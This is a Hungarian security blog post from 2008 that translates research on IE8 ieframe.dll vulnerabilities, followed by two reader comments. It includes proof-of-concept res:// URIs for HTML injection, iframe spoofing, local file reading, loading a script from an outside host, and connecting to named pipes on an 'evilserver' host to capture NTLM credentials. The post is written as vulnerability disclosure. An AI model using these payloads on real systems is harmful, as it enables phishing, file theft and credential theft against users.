Tweets by @buherablog
profile for buherator at IT Security Stack Exchange, Q&A for IT security professionals

A BitBetyár Blog

Túljártál a nagyokosok eszén? Küldd be a mutatványodat! (e-mail a buherator gmailkomra jöhet)

Full-Disclosure / Névjegy / Coming out


Promó

H.A.C.K.

Címkék

0day (110) adobe (87) adobe reader (21) anonymous (26) apple (60) az olvasó ír (49) blackhat (20) botnet (22) bug (200) buherablog (44) buhera sörözés (39) bukta (49) deface (38) dns (22) dos (29) esemény (82) facebook (26) firefox (64) flash (33) gondolat (31) google (59) google chrome (36) hacktivity (37) hírek (117) incidens (224) internet explorer (88) iphone (35) java (50) jog (22) kína (21) kriptográfia (68) kultúra (21) linux (24) malware (43) microsoft (142) móka (48) mozilla (23) office (26) oracle (40) os x (43) patch (197) php (20) politika (31) privacy (58) programozás (22) safari (34) sql injection (62) windows (85) xss (77) Címkefelhő

Licensz

Creative Commons Licenc

IE8 ieframe sebezhetőségek

2008.04.03. 13:19 | buherator | 5 komment

Ronald még mindig Internet Explorert hackel:

Bevezető

Az előző PoC-nél, ahol az internet Explorer elleni perzisztens Dos Támadást mutattam meg feltűnt, hogy az ieframe.dll egy eddig számomra ismeretlen htm fájlra hivatkozott. Ennek a neve acr_error.htm, ez jeleníti meg a hibaablakot, ha nem sikerült visszaállítani egy ablakot az összeomlásból. Az acr_screen átveszi a meghibásodott ablak URI-ját és visszaechozza az ieframe.dll HTML-jébe, ami a system32-ben találhatóA beírt URI [természetesen] nincs rendesen megszűrve, ezért az Internet Explorer és az azt futtató operációs rendsze helyi és távoli példányai ellen is több támadás kivitelezhető. A minimum ezek közül a cross-site scripting, lokálisan futtatva. Továbbá a CSRF is fennáll, a legfigyelemreméltóbb azonban az elnevezett csővezetékek [named pipes - ezeknek van szép magyar neve csak nem jut eszembe...] megtámadása. Az összes anyag teszteve lett IE8 alatt és emulált IE7 alatt is, vizsgálataim alapján úgy tűnik, mindkét változat sebezhető. Ezek a felfedezések rengeteg fenyegetést jelentenek, túl sokat ahhoz, hogy mindegyiket részletezzük. A named pipe-okkal kapcsolatos esetek hatalmas veszélyt jelentenek egy intranetre. Ma csak a felületi támadásokat és a potenciális támadási módokat tárgyalom, és azt, hogy ezek miért jelentenek veszélyt.

HTML beszúrása

HTML injektálható az ieframe.dll-be a res:// sémán keresztül. A helyi acr_error.htm a kettőskereszt utáni adatra figyel. A res://ieframe.dll/acr.js helyen megtalálható acr.js JavaScript fájl futtatja és jeleníti meg a kapott kódot. Ez bármilyen HTMl beszúrását lehetővé teszi. Az első ábrán látható, ahogy egy <h1></h1> taget szúrok be az URI-ba:


Fejlesztői eszközök

Az IE egy új lehetősggel rendelkezik, melynek neve Fejlesztői Eszközök [Developer Tools], ami oylasmi mint afirebug kiterjesztés a Mozillához, amit a forráskódok analizálásához lehet használni. Ez hatalmas segítség volt annak kiderítésében, hogy mi is történik, mivel a paraméter fuzzingot másként nem lehetett volna nyomonkövetni, mivel a JavaScript kód dinamikusan írja be a paraméteradatokat. A második ábra mutatja fejlesztői eszközt, a helytakarékosság érdekében lekeskenyítve a fennti injektált kódra:



Egy egyszerű helyi "deface"-t is véghez vihetünk egy külső helyre mutató iframe beillesztésével, ezzel spoofing és phising jellegű támadásokat ugyanúgy kivitelezhetünk, mint XSS-t vagy CSRF-t a felhasználó rendszerável szemben:

res://ieframe.dll/acr_error.htm#<iframe/src="http://0x000000.com/"/
width="1024"/height="1000"></iframe>,<h1>foo</h1>



Az ieframe.dll felhasználsával szinte bármilyen fájlt megszerezhetünk és megpróbálhatunk futtatni. Ez XSS-hez vagy helyi fájlok futtatásához vezethet. Ennek kihasználásához nem szabad szóközöket használnunk, mivel ezek ugyebár %20-ra cserélődnek. Perjel használata esetén azonban az IE és a Gecko motor ezeket szóközökké alakítja. Ez lehetővé teszi az src attributum felhasználását egy iframe és kép tag vagy távoli JavaScript esetén.

Helyi fájlok megszerzése

res://ieframe.dll/acr_error.htm#<iframe/src=''/ onload='javascript:document.write("<iframe/src=\"file://localhost/test.txt\">
</iframe>")'></iframe>,foo


Script src használatával

res://ieframe.dll/acr_error.htm#<iframe/src=''/ onload='javascript:document.write("<script/src=http://www.0x000000.com/>
</script>")'></iframe>,foo


Az elnevezett csővezetékek kihasználása

Az elnevezett csővezeték [named pipe] egy névvel rendelkező, egyirányú vagy duplex csővezeték a pipe szerver és egy vagy több kliens között kommunikációra, ami egy külön csatornát biztosít a kliens-szerver kommunikációra. Bármilyen folyamat lehet szerver vagy kliens, lehetővé téve ezzel a peer-to-peer kommunikációt. Az elnevezett csővezetékek lehetővé teszik a kommunikációt egy számítógép különböző folyamatai, vagy különböző számító gépek folyamatai között is. Ha egy szerver szolgáltatás fut, minden nevesített csővezeték elérhető távolról.

A kihasználás módja ismert, de sokak számára még mindig nehezen érthető. A Microsoft korlátozza a teljes hozzáférést, mivel az nem várt viselkedést okozhat. Megpróbálták a file:// és res:// sémák számára megtiltani a hozzáférést, de ahogy azt be fogom mutatni, az új felfedezésünk segítségével még mindig hozzáférhető. Ez azt mutatja, hogy a Microsoft még mindig a win32 shelljétől függ, egyébként ez nem lenne lehetséges. Afenyegetettségek: Pipe(d) felhasználó megszemélyesítés, NTML(SMB) információk eltulajdonítása és NTML válasz támadás (NTML reply attack), és a szokásos CSRF és XSS.

\\ServerName\\pipe\\PipeName

Ahol a ServerName egy távoli számítógép neve, vagy egy pont, a helyi gép kijelöléséhez.A csővezeték nevét specivikáló PipeName bármilyen karaktert tartalmazhat a backslash-t ("visszaper") kivéve, ideértve a számokat és speciális karaktereket. A PipeName maximum 265 karakter hosszu lehet, és nem különbözteti meg a kis- és nagybetűket. A pipe szerver nem tud csővezetéket létrhozni távol gépen, ezért a CreateNamedPipe esetében pont kell legyen a ServerName:

\\.\pipe\PipeName

Biztonsági okokból nem lenne szabad hozzáférni egy csővezetékhez sem a res:// sem a file:// sémán keresztül. Ez azt jelenti, hogy ha hozzá tudunk férni, vagy az áldozatnak segítünk hozzáférni CSRF-fel, az rengeteg különböző veszélyt hordoz magában [1].

file:///\\evilserver\pipe\exploit

file:///\\localhost\pipe\exploit


Csatlakozás egy csővezetékhez res:// és file:// használatával

res://ieframe.dll/acr_error.htm#<iframe/src=''/
onload='javascript:document.location="file://..\\ServerName\\pipe\\PipeName"'>
</iframe>,foo

Az feloldás után:

\\ServerName\\pipe\\PipeName



Konklúzió

Úgy tűnik, hogy a Microsoft még mindig ugyanazokat a hibákat követi el. A res:/6 hackelés veszélyes, és már jóval előttem is csinálták, a jövőben mérsékelni kellene ezeket a lehetőségeket. A Microsoft értesült a problémáról.

[1] További referencia az elnevezett csővezetékekről- http://www.514.es/download/Win32.Design.Flaws.pdf

Címkék: internet explorer csrf xss phishing spoofing named pipe ntml

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

sp 2008.04.24. 16:04:13

Biztos, hogy a
megszerez helyi fájlokat? Szerintem csak akkor ha nálad is fut webserver és akkor is csak a saját fájljaidat tudod megszerezni... :-)

buherator · http://buhera.blog.hu 2008.04.24. 18:34:33

@sp
A webszervernek ehhez szerintem nem sok köze van, mivel nem a http protokollkezelővel hivatkozol a localhostra. Nem volt sok időm foglalkozni vele, de eddig nem sikerült eredményt produkálnom ezzel a URI-val, de nem is vagyok egy Windows guru, csak lefordítottam a cikket.